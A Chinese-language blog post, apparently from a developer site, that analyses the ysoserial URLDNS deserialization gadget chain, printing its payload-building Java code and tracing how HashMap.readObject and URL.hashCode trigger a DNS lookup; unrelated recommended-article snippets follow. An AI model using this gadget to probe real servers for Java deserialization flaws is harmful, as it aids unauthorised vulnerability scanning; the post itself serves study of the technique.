#发现之前对这个链关注的点有点问题,重新分析了一下

由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个。其实在实战中用JRMP其实比URLDNS更准(这个技巧后续再说)。

当时因为没有分析URLDNS和JRMP,所以问到URLDNS的pop链就懵了,没回答出来。因此现在就分析一下URLDNS这款的代码吧。

  1. public class URLDNS implements ObjectPayload<Object> {
  2.  
  3. public Object getObject(final String url) throws Exception {
  4.  
  5. //Avoid DNS resolution during payload creation
  6. //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
  7. URLStreamHandler handler = new SilentURLStreamHandler();
  8.  
  9. HashMap ht = new HashMap(); // HashMap that will contain the URL
  10. URL u = new URL(null, url, handler); // URL to use as the Key
  11. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
  12.  
  13. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
  14.  
  15. return ht;
  16. }
  17.  
  18. public static void main(final String[] args) throws Exception {
  19. PayloadRunner.run(URLDNS.class, args);
  20. }
  21.  
  22. /**
  23. * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
  24. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
  25. * using the serialized object.</p>
  26. *
  27. * <b>Potential false negative:</b>
  28. * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
  29. * second resolution.</p>
  30. */
  31. static class SilentURLStreamHandler extends URLStreamHandler {
  32.  
  33. protected URLConnection openConnection(URL u) throws IOException {
  34. return null;
  35. }
  36.  
  37. protected synchronized InetAddress getHostAddress(URL u) {
  38. return null;
  39. }
  40. }
  41. }

在注释里链路还是挺明白的:

  1. * Gadget Chain:
    * HashMap.readObject()
    * HashMap.putVal()
    * HashMap.hash()
    * URL.hashCode()
  2.  
  3. 现在跟着注释具体分析一下。
    首先:URLStreamHandler,引用别人对这个类的理解。

一般而言, URL 的格式是: protocol://[authority]hostname:port/resource?queryString 。 URL 类能够解析出 protocol、 hostname 、 port 等信息。 Protocol 决定了交互规范,通用的协议,比如 HTTP 、 File 、 FTP 等协议, JDK 自带了默认的通讯实现。当然,自定义实现是允许的。 Hostname 和 port 一般用于 Socket 或者基于 Socket 其他协议通讯方式。Resource 即资源上下文。可能读者利用 URL ,通过指定协议( protocol )来获取指定资源的读写,比如 JDK 内置了HTTP 、 File 、 FTP 等协议的处理方法。

在成功地构造 URL 实例之后, URL API 中定义了一个 openConnection() 方法,返回一个 java.net.URLConnection 抽象类型的实例。不过,这里 URL 对象是代理对象,实际调用的是, java.net.URLStreamHandler 对象的 openConnection() 方法。

  我觉得可以理解为URLStreamHandler handler = new SilentURLStreamHandler();是初始化一个方法,到时候你的URL实例会根据这个类方法调用不同的操作。openConnection和getHostAddress是可以自定义的,说明协议可以自定义,自定义的协议做自定义的操作。

  接下来,实例化一个hashmap类。

  URL u = new URL(null, url, handler); 按注解的意思是把我们可控的url变为可作为hashmap实例的key。

  u为URL的实例,主要是对url通过对应的handler进行操作分割。属性如下:

  然后可控的url为value。

  ht.put(u,url)。就是把key和value传到hashmap里。

  hashmap的理解参考这篇文章:https://www.breakyizhan.com/java/4653.html

  最后ht的内容为

  

  简单来说就是把ht处理成一个hashmap的实例,key为url的上下环境实例,value就是单纯的url。

  然后对这个hashmap进行序列化的内容,然后再反序列化的时候触发访问这个域名的。

  ser就是反序列化的字节流内容。

补充:

上面这部分其实分析的不够深,点有点浅。

反序列化在readobject点。return回去的对象是hashmap,所以直接去看hashmap的readobject。

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws IOException, ClassNotFoundException {
  3. // Read in the threshold (ignored), loadfactor, and any hidden stuff
  4. s.defaultReadObject();
  5. reinitialize();
  6. if (loadFactor <= 0 || Float.isNaN(loadFactor))
  7. throw new InvalidObjectException("Illegal load factor: " +
  8. loadFactor);
  9. s.readInt(); // Read and ignore number of buckets
  10. int mappings = s.readInt(); // Read number of mappings (size)
  11. if (mappings < 0)
  12. throw new InvalidObjectException("Illegal mappings count: " +
  13. mappings);
  14. else if (mappings > 0) { // (if zero, use defaults)
  15. // Size the table using given load factor only if within
  16. // range of 0.25...4.0
  17. float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
  18. float fc = (float)mappings / lf + 1.0f;
  19. int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  20. DEFAULT_INITIAL_CAPACITY :
  21. (fc >= MAXIMUM_CAPACITY) ?
  22. MAXIMUM_CAPACITY :
  23. tableSizeFor((int)fc));
  24. float ft = (float)cap * lf;
  25. threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  26. (int)ft : Integer.MAX_VALUE);
  27. @SuppressWarnings({"rawtypes","unchecked"})
  28. Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  29. table = tab;
  30.  
  31. // Read the keys and values, and put the mappings in the HashMap
  32. for (int i = 0; i < mappings; i++) {
  33. @SuppressWarnings("unchecked")
  34. K key = (K) s.readObject();
  35. @SuppressWarnings("unchecked")
  36. V value = (V) s.readObject();
  37. putVal(hash(key), key, value, false, false);
  38. }
  39. }

37的putVal这块触发了dns查询。

hash了key【hash(key)】,

对key进行hashCode。跟进hashCode。

因为hashCode=-1,所以进行重新计算hashCode。

  1. protected int hashCode(URL u) {
  2. int h = 0;
  3.  
  4. // Generate the protocol part.
  5. String protocol = u.getProtocol();
  6. if (protocol != null)
  7. h += protocol.hashCode();
  8.  
  9. // Generate the host part.
  10. InetAddress addr = getHostAddress(u);
  11. if (addr != null) {
  12. h += addr.hashCode();
  13. } else {
  14. String host = u.getHost();
  15. if (host != null)
  16. h += host.toLowerCase().hashCode();
  17. }
  18.  
  19. // Generate the file part.
  20. String file = u.getFile();
  21. if (file != null)
  22. h += file.hashCode();
  23.  
  24. // Generate the port part.
  25. if (u.getPort() == -1)
  26. h += getDefaultPort();
  27. else
  28. h += u.getPort();
  29.  
  30. // Generate the ref part.
  31. String ref = u.getRef();
  32. if (ref != null)
  33. h += ref.hashCode();
  34.  
  35. return h;
  36. }

反序列化payload触发点就在getProtocol

yso中URLDNS的pop链分析(重新分析整理)的更多相关文章

  1. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  2. Java中Comparable和Comparator接口区别分析

    Java中Comparable和Comparator接口区别分析 来源:码农网 | 时间:2015-03-16 10:25:20 | 阅读数:8902 [导读] 本文要来详细分析一下Java中Comp ...

  3. IOS Table中Cell的重用reuse机制分析

    IOS Table中Cell的重用reuse机制分析 技术交流新QQ群:414971585 创建UITableViewController子类的实例后,IDE生成的代码中有如下段落: - (UITab ...

  4. Android 中View的绘制机制源代码分析 三

    到眼下为止,measure过程已经解说完了,今天開始我们就来学习layout过程.只是在学习layout过程之前.大家有没有发现我换了编辑器,哈哈.最终下定决心从Html编辑器切换为markdown编 ...

  5. .NET中反射机制的使用与分析

    .NET中反射机制的使用与分析 [日期:2008-06-30] 来源:  作者:志伟     .NET反射的定义:审查元数据并收集关于它的类型信息的能力. 元数据是一种二进制信息,用以对存储在公共语言 ...

  6. Linux内核中的list用法和实现分析

    这些天在思考知识体系的完整性,发现总是对消息队列的实现不满意,索性看看内核里面的链表实现形式,这篇文章就当做是学习的i笔记吧.. 内核代码中有很多的地方使用了list,而这个list的用法又跟我们平时 ...

  7. Vue中之nextTick函数源码分析

    Vue中之nextTick函数源码分析 1. 什么是Vue.nextTick()?官方文档解释如下:在下次DOM更新循环结束之后执行的延迟回调.在修改数据之后立即使用这个方法,获取更新后的DOM. 2 ...

  8. java 中 “文件” 和 “流” 的简单分析

    java 中 FIle 和 流的简单分析 File类 简单File 常用方法 创建一个File 对象,检验文件是否存在,若不存在就创建,然后对File的类的这部分操作进行演示,如文件的名称.大小等 / ...

  9. Android中相机和相冊使用分析

    Android中相机和相冊使用分析 欢迎转载,但请尊重原创(文章来自不易,转载请标明转载出处,谢谢) 在手机应用程序中,使用自带的相机拍照以及相冊选择喜欢的图片是最常见只是的用户需求,那么怎么合理使用 ...

随机推荐

  1. ubuntu redis 安装 &基本命令

    参考资料:https://www.cnblogs.com/zongfa/p/7808807.htmlredis命令参考:http://doc.redisfans.com/安装:sudo apt-get ...

  2. 前端知识体系:JavaScript基础-作用域和闭包-词法作用域和动态作用域

    词法作用域和动态作用域 1.作用域: 作用域是指程序代码中定义变量的区域 JavaScript采用词法作用域,也就是静态作用域 2.词法作用域和动态作用域 因为JavaScript采用的是词法作用域, ...

  3. node.js中允许的app对象声明方式

    伪对象形式 app = function () { console.log("我是一个初始化的app对象"); }; app.get=function () { console.l ...

  4. Codeforces Round #551 (Div. 2) E. Serval and Snake (交互题)

    人生第一次交互题ac! 其实比较水 容易发现如果查询的矩阵里面包含一个端点,得到的值是奇数:否则是偶数. 所以只要花2*n次查询每一行和每一列,找出其中查询答案为奇数的行和列,就表示这一行有一个端点. ...

  5. Oracle 后台进程(五)SMON进程

    转载自:刘相兵 Maclean Liu 文章 你所不知道的后台进程 SMON 功能   SMON(system monitor process)系统监控后台进程,有时候也被叫做 system clea ...

  6. 我想查看数据库名,输入命令:select name from v$database;为什么会说表和视图不存在

    你看一下你连接数据库的用户,需要有DBA权限才能看到这个表.

  7. 'com.example.mybatisplus.mapper.PersonMapper' that could not be found.

    通常有两种原因,配置原因,或者是mapper相关文件,mapper.java或 mapper.xml内部错误 如果是配置原因 解决方式1 统一配置mapper //import org.mybatis ...

  8. set/unset

    自定义一个变量 name=value 查看现有变量 删除变量或函数 unset name

  9. Kafaka详细介绍机制原理

    1.       kafka介绍 1.1.       主要功能 根据官网的介绍,ApacheKafka®是一个分布式流媒体平台,它主要有3种功能: 1:It lets you publish and ...

  10. 检测ip代理有效性

    转载及总结 转载:https://xw.qq.com/amphtml/20190428A05ZS200 1.telnet 方法 经过测试,会看到存在以下问题: 即使一些代理商能够用telnet测试过关 ...